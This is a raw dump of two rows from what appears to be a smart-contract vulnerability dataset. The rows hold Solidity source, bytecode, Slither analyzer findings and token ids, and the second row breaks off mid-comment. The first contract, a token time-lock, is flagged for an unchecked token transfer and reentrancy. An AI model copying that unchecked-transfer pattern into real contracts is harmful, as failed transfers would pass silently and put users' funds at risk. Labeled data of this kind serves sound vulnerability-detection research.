Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
58,600
0x95668c701cdf1d45ff3d2f8f7cb4b41caff2713a
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 29808000; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x27eA0BBd75C77FFF51e1548290F0b74c99F5B1a1; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a72305820737fbf67ee7b246f4e1c2c230534485011743a035f24500b46eeb2c575c2b92f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 26976, 2575, 2620, 2278, 19841, 2487, 19797, 2546, 2487, 2094, 19961, 4246, 29097, 2475, 2546, 2620, 2546, 2581, 27421, 2549, 2497, 23632, 3540, 4246, 22907, 17134, 2050, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 1025, 2709, 1039, 1025, 1065, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,601
0x95668F98017D3B40D50C38D376Fd5f0a7DaE36D3
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; import './Context.sol'; import './Strings.sol'; import './ERC165.sol'; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControlUpgradeable { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControlUpgradeable is Context, IAccessControlUpgradeable, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged( bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole ); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( 'AccessControl: account ', Strings.toHexString(uint160(account), 20), ' is missing role ', Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), 'AccessControl: can only renounce roles for self'); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = '0123456789abcdef'; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return '0'; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return '0x00'; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = '0'; buffer[1] = 'x'; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, 'Strings: hex length insufficient'); return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; import './IERC165.sol'; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { AccessControlUpgradeable } from '../../../dependencies/open-zeppelin/AccessControlUpgradeable.sol'; import { ReentrancyGuard } from '../../../utils/ReentrancyGuard.sol'; import { VersionedInitializable } from '../../../utils/VersionedInitializable.sol'; /** * @title SP1Storage * @author dYdX * * @dev Storage contract. Contains or inherits from all contracts with storage. */ abstract contract SP1Storage is AccessControlUpgradeable, ReentrancyGuard, VersionedInitializable { // ============ Modifiers ============ /** * @dev Modifier to ensure the STARK key is allowed. */ modifier onlyAllowedKey( uint256 starkKey ) { require(_ALLOWED_STARK_KEYS_[starkKey], 'SP1Storage: STARK key is not on the allowlist'); _; } /** * @dev Modifier to ensure the recipient is allowed. */ modifier onlyAllowedRecipient( address recipient ) { require(_ALLOWED_RECIPIENTS_[recipient], 'SP1Storage: Recipient is not on the allowlist'); _; } // ============ Storage ============ mapping(uint256 => bool) internal _ALLOWED_STARK_KEYS_; mapping(address => bool) internal _ALLOWED_RECIPIENTS_; /// @dev Note that withdrawals are always permitted if the amount is in excess of the borrowed /// amount. Also, this approval only applies to the primary ERC20 token, `TOKEN`. uint256 internal _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_; /// @dev Note that this is different from _IS_BORROWING_RESTRICTED_ in LiquidityStakingV1. bool internal _IS_BORROWING_RESTRICTED_; /// @dev Mapping from args hash to timestamp. mapping(bytes32 => uint256) internal _QUEUED_FORCED_TRADE_TIMESTAMPS_; } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; /** * @title ReentrancyGuard * @author dYdX * * @dev Updated ReentrancyGuard library designed to be used with Proxy Contracts. */ abstract contract ReentrancyGuard { uint256 private constant NOT_ENTERED = 1; uint256 private constant ENTERED = uint256(int256(-1)); uint256 private _STATUS_; constructor() internal { _STATUS_ = NOT_ENTERED; } modifier nonReentrant() { require(_STATUS_ != ENTERED, 'ReentrancyGuard: reentrant call'); _STATUS_ = ENTERED; _; _STATUS_ = NOT_ENTERED; } } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; /** * @title VersionedInitializable * @author Aave, inspired by the OpenZeppelin Initializable contract * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. * */ abstract contract VersionedInitializable { /** * @dev Indicates that the contract has been initialized. */ uint256 internal lastInitializedRevision = 0; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { uint256 revision = getRevision(); require(revision > lastInitializedRevision, "Contract instance has already been initialized"); lastInitializedRevision = revision; _; } /// @dev returns the revision number of the contract. /// Needs to be defined in the inherited class as a constant. function getRevision() internal pure virtual returns(uint256); // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../../../dependencies/open-zeppelin/SafeMath.sol'; import { Math } from '../../../utils/Math.sol'; import { SP1Storage } from './SP1Storage.sol'; /** * @title SP1Getters * @author dYdX * * @dev Simple external getter functions. */ abstract contract SP1Getters is SP1Storage { using SafeMath for uint256; // ============ External Functions ============ /** * @notice Check whether a STARK key is on the allowlist for exchange operations. * * @param starkKey The STARK key to check. * * @return Boolean `true` if the STARK key is allowed, otherwise `false`. */ function isStarkKeyAllowed( uint256 starkKey ) external view returns (bool) { return _ALLOWED_STARK_KEYS_[starkKey]; } /** * @notice Check whether a recipient is on the allowlist to receive withdrawals. * * @param recipient The recipient to check. * * @return Boolean `true` if the recipient is allowed, otherwise `false`. */ function isRecipientAllowed( address recipient ) external view returns (bool) { return _ALLOWED_RECIPIENTS_[recipient]; } /** * @notice Get the amount approved by the guardian for external withdrawals. * Note that withdrawals are always permitted if the amount is in excess of the borrowed amount. * * @return The amount approved for external withdrawals. */ function getApprovedAmountForExternalWithdrawal() external view returns (uint256) { return _APPROVED_AMOUNT_FOR_EXTERNAL_WITHDRAWAL_; } /** * @notice Check whether this borrower contract is restricted from new borrowing, as well as * restricted from depositing borrowed funds to the exchange. * * @return Boolean `true` if the borrower is restricted, otherwise `false`. */ function isBorrowingRestricted() external view returns (bool) { return _IS_BORROWING_RESTRICTED_; } /** * @notice Get the timestamp at which a forced trade request was queued. * * @param argsHash The hash of the forced trade request args. * * @return Timestamp at which the forced trade was queued, or zero, if it was not queued or was * vetoed by the VETO_GUARDIAN_ROLE. */ function getQueuedForcedTradeTimestamp( bytes32 argsHash ) external view returns (uint256) { return _QUEUED_FORCED_TRADE_TIMESTAMPS_[argsHash]; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, 'SafeMath: addition overflow'); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, 'SafeMath: subtraction overflow'); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, 'SafeMath: multiplication overflow'); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, 'SafeMath: division by zero'); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, 'SafeMath: modulo by zero'); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // SPDX-License-Identifier: Apache-2.0 pragma solidity 0.7.5; pragma abicoder v2; import { SafeMath } from '../dependencies/open-zeppelin/SafeMath.sol'; /** * @title Math * @author dYdX * * @dev Library for non-standard Math functions. */ library Math { using SafeMath for uint256; // ============ Library Functions ============ /** * @dev Return `ceil(numerator / denominator)`. */ function divRoundUp( uint256 numerator, uint256 denominator ) internal pure returns (uint256) { if (numerator == 0) { // SafeMath will check for zero denominator return SafeMath.div(0, denominator); } return numerator.sub(1).div(denominator).add(1); } /** * @dev Returns the minimum between a and b. */ function min( uint256 a, uint256 b ) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the maximum between a and b. */ function max( uint256 a, uint256 b ) internal pure returns (uint256) { return a > b ? a : b; } } // Contracts by dYdX Foundation. Individual files are released under different licenses. // // https://dydx.community // https://github.com/dydxfoundation/governance-contracts // // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.7.5; pragma abicoder v2; import { IERC20 } from '../../interfaces/IERC20.sol'; import { ILiquidityStakingV1 } from '../../interfaces/ILiquidityStakingV1.sol'; import { IMerkleDistributorV1 } from '../../interfaces/IMerkleDistributorV1.sol'; import { IStarkPerpetual } from '../../interfaces/IStarkPerpetual.sol'; import { SafeERC20 } from '../../dependencies/open-zeppelin/SafeERC20.sol'; import { SP1Withdrawals } from './impl/SP1Withdrawals.sol'; import { SP1Getters } from './impl/SP1Getters.sol'; import { SP1Guardian } from './impl/SP1Guardian.sol'; import { SP1Owner } from './impl/SP1Owner.sol'; /** * @title StarkProxyV1 * @author dYdX * * @notice Proxy contract allowing a LiquidityStaking borrower to use borrowed funds (as well as * their own funds, if desired) on the dYdX L2 exchange. Restrictions are put in place to * prevent borrowed funds being used outside the exchange. Furthermore, a guardian address is * specified which has the ability to restrict borrows and make repayments. * * Owner actions may be delegated to various roles as defined in SP1Roles. Other actions are * available to guardian roles, to be nominated by dYdX governance. */ contract StarkProxyV1 is SP1Guardian, SP1Owner, SP1Withdrawals, SP1Getters { using SafeERC20 for IERC20; // ============ Constructor ============ constructor( ILiquidityStakingV1 liquidityStaking, IStarkPerpetual starkPerpetual, IERC20 token, IMerkleDistributorV1 merkleDistributor ) SP1Guardian(liquidityStaking, starkPerpetual, token) SP1Withdrawals(merkleDistributor) {} // ============ External Functions ============ function initialize(address guardian) external initializer { __SP1Roles_init(guardian); TOKEN.safeApprove(address(LIQUIDITY_STAKING), uint256(-1)); TOKEN.safeApprove(address(STARK_PERPETUAL), uint256(-1)); } // ============ Internal Functions ============ /** * @dev Returns the revision of the implementation contract. * * @return The revision number. */ function getRevision() internal pure override returns (uint256) { return 1; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * 